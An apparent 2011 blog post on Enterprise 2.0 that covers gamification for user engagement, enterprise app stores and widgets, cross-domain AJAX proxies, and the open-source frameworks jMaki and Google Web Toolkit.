Call it “Enterprise 2.0” or “Social Business“, it’s all about building relationships and fostering collaboration.  These conversations around Business Strategy and Social Enterprise reminds me of this presentation “Enterprise 2.0 – Efficient Collaboration and Knowledge Exchange“.

A Gamification Strategy will Continue to Support Perpetual User Engagement

The Gamification Summit 2011 created a bit of buzz in Enterprise 2.0 circles this week.  This buzz included this great article Trends: 5 Engagement Factors For Gamification And The Enterprise by R Ray Wang, you can connect with him on Twitter at @rwang0

Did you know that Call of Duty: Black Ops generated more than $360 Million Dollars in the first day of sales? Call of Duty: Black Ops is the most beautifully intelligent game I have ever played!  This masterpiece offers amazing game play, stunning graphics, awards, badges, achievements, customization, and takes game mechanics to a whole new level.  Let’s take a look at how we can leverage these success factors for the Enterprise, but first take a look at this funny Call of Duty: Block Ops video.

Call of Duty: Black Ops TV Commercial: “There’s A Soldier In All Of Us”

What is Gamification?

Gamification is the use of game play mechanics for non-game applications, in order to encourage people to adopt the applications. It also strives to encourage users to engage in desired behaviors in connection with the applications.  You can learn more on the Gamification Blog.

How Does Gamification Apply to Enterprise 2.0?

Gamification in Enterprise 2.0 is about Maslow’s hierarchy of needs, a theory in psychology, proposed by Abraham Maslow in his 1943 paper A Theory of Human Motivation.  Most of these needs are met by popular games and should be supported in Enterprise 2.0 platforms to ensure rapid adoption and success.  You will discover some simple methods to “Gamify” your Enterprise 2.0 Platform in this article I wrote last year Game Theory for Enterprise 2.0 Adoption.  That article also includes a few videos about human behavior.  Ideas around the bigger picture of using game mechanics in the Enterprise is coverd in this article Enterprise 2.0 Adoption Patterns: Collective Intelligence.

Gamification Videos & Presentations

The gamification presentations from the Gamification Summit are available to members, but here are a few presentations that will get you thinking differently about using game mechanics in your Enterprise 2.0 Platform to improve user engagement.

Gamification Patterns & Pitfalls

Gabe Zichermann, Gamification Expert and Author discusses some of the main ways that gamification will change your business in this video.

Gamification by Scott Dodson COO, Bobber Interactive

Gamification by Wanda Meloni, M2 Research

Gamification and Its Discontents by Sebastian Deterding

Engagement through Gamification

Integrating Internet Principals In Your Intranet

You may of heard someone in your office say something like “20% of the people are doing 80% of the work”.  This is known as The Pareto Principle, aka the 80-20 Rule.  This principal will also apply to the future architecture of the internet composed of 80% Consumers and 20% Producers supported by “Linked Data“  This paradigm shift in information architecture will be fuled by the adoption of using widgets, gadgets, and apps to connect information.

Enterprise 2.0 App Stores

• What if you had an Enterprise 2.0 App created from SharePoint?
• What if you had an Enterprise 2.0 App for email?
• What if you had Enterprise 2.0 Apps for your team blog, wiki, graphs, activity streams, …?
• What if all these apps were displayed as Widgets in your Enterprise 2.0 Dashboard?

Why would you log into all these different areas, when you can see what you want, how you want in a single place.  Navigating to multiple places is time consuming, even with Single Sign On (SSO) solutions in place.  Most Enterprise 2.0 Apps, Widgets, and Gadgets can be created with common web programming languages.  These web programming languages can be as simple as standard HTML, CSS, and JavaScript.  These User Interfaces can easily leverage AJAX and other Web 2.0 Technologies to enhance the User Experience.  The extra benefits of using these standard technologies is lower development cost, shorter time to deployment, and better support across multiple devices such as smart phones, iPads, and standard tablets.

Enterprise 2.0 App Store Architecture

Most organizations have a difficult time measuring the use of their Information Technology.  Some organizations can measure enough to know that moving at least some technology to the cloud makes sense.  Businesses can also realize the benefits from the concept of cloud computing through Enterprise 2.0 App Store Architecture.

What is an Enterprise 2.0 App?

An Enterprise 2.0 App is “a snippet of code that is shared to serve a specific purpose”.  This “App” can be displayed and used on smart phones, mobile devices, desktops, web browsers, dashboards, or other applications.

Where is the App Stored?

Apps can be stored internally or externally.

Internal Apps, Widgets, & Gadgets

Internal apps are hosted and used by the owner, usually in the same domain, therefore the level of trust is higher.

External Apps, Widgets, & Gadgets

External apps are hosted outside the domain and usually by a third party.  The level of trust is lower, therefore the proper security measures should taken.  All developers should know how to build, design and test the security of web applications and web services.

Using a Web Proxy

All modern web browsers impose a security restriction on network connections, which includes calls to XMLHttpRequest. This restriction prevents a script or application from making a connection to any web server other than the one the web page originally came from (Internet Explorer will allow cross-domain requests if the option has been enabled in the preferences). If both your web application and the XML data that application uses come directly from the same server, then you do not run into this restriction.  See the PHP Web Proxy code below and learn more about AJAX Web Proxies here.

You should also see this article: “Restricting Access to your AJAX Services“.

Open Source to the Rescue!

Open Source Libraries and Frameworks to Support Enterprise 2.0  Apps, Widgets, & Gadgets

Creating Enterprise 2.0 Apps, Widgets, and Gadgets can be less time consuming with these free open source libraries and frameworks.

jMaki

jMaki is a lightweight client/server framework for creating JavaScript centric Web 2.0 applications using CSS layouts, widgets widget model, client services such as publish/subscribe events to tie widgets together, JavaScript action handlers, and a generic proxy to interact with external RESTful web services. While jMaki abstracts much of the JavaScript and CSS by providing defaults for widgets, the JavaScript widgets and CSS are made easily accessible so they may be customized by a designer or page developer. jMaki focuses on the aspects of delivering JavaScript to the client allowing the JavaScript to communicate to various server-technologies including PHP, Java (JSP/JSF), and Phobos in a server-technology neutral way. Learn more here.

Google Web Toolkit (GWT)

Google Web Toolkit (GWT) is a development toolkit for building and optimizing complex browser-based applications. Its goal is to enable productive development of high-performance web applications without the developer having to be an expert in browser quirks, XMLHttpRequest, and JavaScript. GWT is used by many products at Google, including Google Wave and the new version of AdWords. It’s open source, completely free, and used by thousands of developers around the world. Learn more here.